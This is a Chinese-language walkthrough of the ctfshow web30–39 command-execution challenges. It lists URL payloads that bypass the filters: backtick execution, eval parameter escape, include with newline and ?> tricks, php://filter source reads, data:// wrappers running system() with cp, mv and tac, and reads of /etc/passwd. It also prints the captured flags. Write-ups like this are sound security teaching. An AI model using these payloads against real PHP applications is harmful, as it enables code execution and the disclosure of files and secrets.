天天看點

ctfshow指令執行web30-39web30

web30

ctfshow指令執行web30-39web30

過濾了flag php system

用``(反引号)代替system

用?代替flag和php(問号可以代表一個占位符)

http://11a60cc1-4545-447c-89ca-6bacc7271ebc.challenge.ctf.show/?c=`cp fla?.??? 1.txt`;

cp指令:

cp source target 将檔案source複制為target

?c=`cp fla?.??? 1.txt`;
           

然後再檢視1.txt

ctfshow指令執行web30-39web30

web31 

ctfshow指令執行web30-39web30

嵌套一個eval()執行

/?c=eval($_GET[1]);&1=phpinfo();
           
ctfshow指令執行web30-39web30

測試成功

 相當于參數逃逸用c參數作為一個跳闆傳進去的值傳入另外一個參數1就可以過濾對參數c的判斷

?c=eval($_GET[1]);&1=system('ls');
           

檢視檔案

ctfshow指令執行web30-39web30
/?c=eval($_GET[1]);&1=system('cat flag.php');
           

 發現是空白因為是php代碼,檢視源碼

ctfshow指令執行web30-39web30

如果用tac就可以直接看到

/?c=eval($_GET[1]);&1=system(‘tac flag.php’);
           
ctfshow指令執行web30-39web30

web32

使用檔案包含

ctfshow指令執行web30-39web30

空格也被過濾用url編碼繞過

分号可以用?>代替

%0a是換行符

/?c=include%0a$_GET[1]?>&1=/etc/passwd
           
ctfshow指令執行web30-39web30
/?c=include%0A$_GET[1]?>&1=flag.php
           
ctfshow指令執行web30-39web30

雖然是包含但是沒有輸出flag的變量

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
           
ctfshow指令執行web30-39web30

解密後得到:

http://53c68ec7-13cd-4973-90b2-ec4d39dff7b6.challenge.ctf.show/?c=in<?php

$flag="ctfshow{2becc14a-2856-414b-a754-dec0d6448d9a}";

clude%0a$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

Web33

ctfshow指令執行web30-39web30

多過濾了雙引号

繼續用web32的方法

/?c=include%0a$_GET[1]?>&1=/etc/passwd
           
ctfshow指令執行web30-39web30

發現可以執行

/?c=include%0A$_GET[1]?>&1=flag.php
           
ctfshow指令執行web30-39web30

利用php僞協定

?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
           
ctfshow指令執行web30-39web30

解密後得到flag

ctfshow指令執行web30-39web30
ctfshow{bd6efc19-bc25-4402-8396-c93fb21cec72}
           

 還有另外一種方法:

/?c=require%0a$_GET[1]?>&1=/etc/passwd

/?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web34

ctfshow指令執行web30-39web30

括号被過濾掉

echo print isset unset include require不需要用括号

如果是用print那麼phpinfo()是在資料端不是代碼端

/?c=print%0a$_GET[1]?>&1=phpinfo();
           

 像這個樣子

ctfshow指令執行web30-39web30

如果用eval的話/?c=eval(%0a$_GET[1])?>&1=phpinfo();要使用括号但是括号已經被過濾了

是以我們用一下include包含系統檔案

/?c=include%0a$_GET[1]?>&1=/etc/passwd

ctfshow指令執行web30-39web30

繼續讀取flag檔案

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

ctfshow指令執行web30-39web30

解密得到flag

$flag="ctfshow{182443af-6a97-4927-b613-17e31e65afb2}";
           

 Web35

 多過濾了=和/不影響我們用上一個方法解

ctfshow指令執行web30-39web30
/?c=include%0a$_GET[1]?>&1=/etc/passwd
           
ctfshow指令執行web30-39web30
/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
           
ctfshow指令執行web30-39web30

之後得到flag 

Web36

不讓用數字了

可以用字母把1換成a

/?c=include%0a$_GET[a]?>&a=/etc/passwd
           
ctfshow指令執行web30-39web30
/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
           
ctfshow指令執行web30-39web30

 解密後得到lfag

Web37

Flag在flag.php中

不能包含flag

ctfshow指令執行web30-39web30

先使用包含其他參數

/?c=$_GET[1]&1=flag.php

不行,因為$_GET[1]在資料端不是代碼執行,隻能包含這個字元串不能解析字元串

ctfshow指令執行web30-39web30

試用了一下php僞協定不可以

但是data僞協定可以

/?c=data://text/plain,<?php phpinfo();?>
           

 data僞協定吧後面的<?php phpinfo();?>作為php代碼執行

ctfshow指令執行web30-39web30
/?c=data://text/plain,<?php system("mv fla?.php 1.txt");?>
           

mv指令:

将檔案移動走,或者改名,在Luinx下面沒有改名的指令,如果想改名,要使用該指令

mv source target 将檔案source更名為target

ctfshow指令執行web30-39web30

 Web38

ctfshow指令執行web30-39web30

把php換成等于号

/?c=data://text/plain,<?=system("cp fl*.* 1.txt");?>
           
ctfshow指令執行web30-39web30
1.txt
           
ctfshow指令執行web30-39web30

web39

ctfshow指令執行web30-39web30

直接用data協定和system

/?c=data://text/plain,<?=system("tac fla?.ph?");?>
           
ctfshow指令執行web30-39web30

繼續閱讀